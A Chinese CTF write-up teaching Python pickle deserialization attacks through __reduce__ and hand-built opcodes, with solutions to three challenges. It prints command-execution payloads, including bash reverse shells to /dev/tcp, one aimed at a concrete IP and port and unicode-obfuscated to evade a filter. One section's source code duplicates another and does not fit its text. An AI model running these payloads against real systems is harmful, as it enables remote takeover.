前言

参考:https://j1rry-learn.github.io/posts/ctf%E9%A2%98%E5%9E%8B-pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/

pickle模块基于python主要牵扯到两个函数,一个是dumps另一个是loads,类似于emmmm,php的serialize和unserialize方法,危害还是很大的,可以直接进行命令执行。

知识点

  1. pickle.dumps(obj[, protocol])
1
2
3
4
功能:将obj对象序列化为string形式,而不是存入文件中。
参数:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
  1. pickle.loads(string)
1
2
3
功能:从string中读出序列化前的obj对象。
参数:
string:文件名称。

总结来说,dumps是序列化成一个字符串,而loads是反序列化成一个对象。

  1. 有关的魔术方法
  • reduce: 构造方法,在反序列化的时候自动执行
  • setstate: 在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。
  1. payload案例
  • 无os模块
1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class A(object): //创建一个新式类调用__reduce__方法
def __reduce__(self):
return (eval,("__import__('os').popen('env').read()",))//最后一个,是创建一个单元素元组

a=A()
a=pickle.dumps(a);
print(base64.b64encode(a))
  • 有os模块
1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os
import base64


class A(object):
def __reduce__(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))
a=A()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)

进阶

使用opcode绕过过滤

opcode的介绍:

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

具体可参考https://xz.aliyun.com/news/7032#toc-11

opcode在这里:https://github.com/python/cpython/blob/main/Lib/pickle.py#L111

可使用的工具为:https://github.com/eddieivan01/pker

opcode的解析:

img

获得对象入栈(代表一个MARK

img

实例化一个字符串对象并且入栈

img

将参数变成一个元组,这里的/etc/passwd是一个参数,我们最后用的是R操作符,所以参数一定要是一个元组,使用t操作符转换上一个MARK后的为元组,

img

R将入栈的第一个元素作为函数,第二个为参数执行。

img

可以对应大佬列举的操作符的具体作用看,一定要看懂才会构造。

一些命令执行的payload
  • R:
1
2
3
4
b'''cos //获取全局变量导入os模块
system //需要调用的函数名
(S'whoami'
tR.''' //转换成元组,并将whoami作为参数传入system
  • I:
1
2
3
4
b'''(S'whoami' //参数要传给接下来导入的whoami
ios //看下文
system //需要调用的函数
.'''

i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

  • o:
1
2
3
4
b'''(cos
system
S'whoami'
o.''

o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

例题

不用使用opcode的题目

[HFCTF 2021 Final]easyflask

先看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

img

这是主要利用点,反序列化的位置,我们可以控制User这个类,执行恶意代码来获取flag

通过session进行注入,先要伪造session,那么就要找密钥了,利用文件包含读取环境变量

img

这里的非预期解,当没看见

secret key

1
glzjin22948575858jfjfjufirijidjitg3uiiuuh

对u中的b进行反序列化构造格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{"u":{"b":"payload"}}
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/8.140.236.137/9999 0>&1"',))
})
import os
import pickle
import base64
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (eval, ("__import__('os').system('cat /flag>test')",))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())

emmm,反弹shell我是没弹出来但是能配合文件包含写文件,读flag

img

[HZNUCTF 2023 preliminary]pickle

先给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0')

禁用了os,这题有个非预期是进行文件读取

img

直接读取环境变量,得到flag

预期就是使用pickle了

1
2
3
4
5
6
7
8
9
10
import pickle
import base64


class A(object):
def __reduce__(self):
return (eval,("__import__('o'+'s').system('env | tee c')",))
a=A()
a=pickle.dumps(a)
print(base64.b64encode(a))

img

使用opcode的题目

[MTCTF 2022]easypickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0')

由于使用的密钥是四位随机字符串,可以进行爆破,先生成对应的字典

1
2
3
4
5
6
7
import os

file_path='./key.txt'
with open(file_path, 'w') as f:
for i in range(1,100000):
key = os.urandom(2).hex()
f.write("\"{}\"\n".format(key))

然后使用flask-unsign去爆破

img

成功

1
4fd4

img

这里没有用到a,可以直接pickle反序列化

使用的payload应该是

1
2
3
4
b'''(cos
system
S'whoami'
o.''

但是这题禁用了o并且没有文件读取,需要反弹shell

1
2
3
4
5
opcode = b"""(cos
system
S'bash -i >& /dev/tcp/ip/port 0>&1'
o.
"""

禁用了o可以用os去凑一下,但是反弹shell时会将i禁用,这时候我们就需要使用操作符V

使用os的话要遵循s操作符的用法所以要构造

1
2
3
4
5
6
7
8
9
b"""(S'key'
S'val'
dS'v'
(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0038\u002e\u0031\u0034\u0030\u002e\u0032\u0033\u0036\u002e\u0031\u0033\u0037\u002f\u0039\u0039\u0039\u0039\u0020\u0030\u003e\u0026\u0031
os.
"""
{'user': 'admin','ser_data': 'KFMna2V5JwpTJ3ZhbCcKZFMndicKKGNvcwpzeXN0ZW0KVlx1MDA2Mlx1MDA2MVx1MDA3M1x1MDA2OFx1MDAyMFx1MDAyZFx1MDA2OVx1MDAyMFx1MDAzZVx1MDAyNlx1MDAyMFx1MDAyZlx1MDA2NFx1MDA2NVx1MDA3Nlx1MDAyZlx1MDA3NFx1MDA2M1x1MDA3MFx1MDAyZlx1MDAzOFx1MDAyZVx1MDAzMVx1MDAzNFx1MDAzMFx1MDAyZVx1MDAzMlx1MDAzM1x1MDAzNlx1MDAyZVx1MDAzMVx1MDAzM1x1MDAzN1x1MDAyZlx1MDAzOVx1MDAzOVx1MDAzOVx1MDAzOVx1MDAyMFx1MDAzMFx1MDAzZVx1MDAyNlx1MDAzMQpvcy4K'}

伪造session

然后弹shell得到flag(我是没弹到,但是思路应该没问题)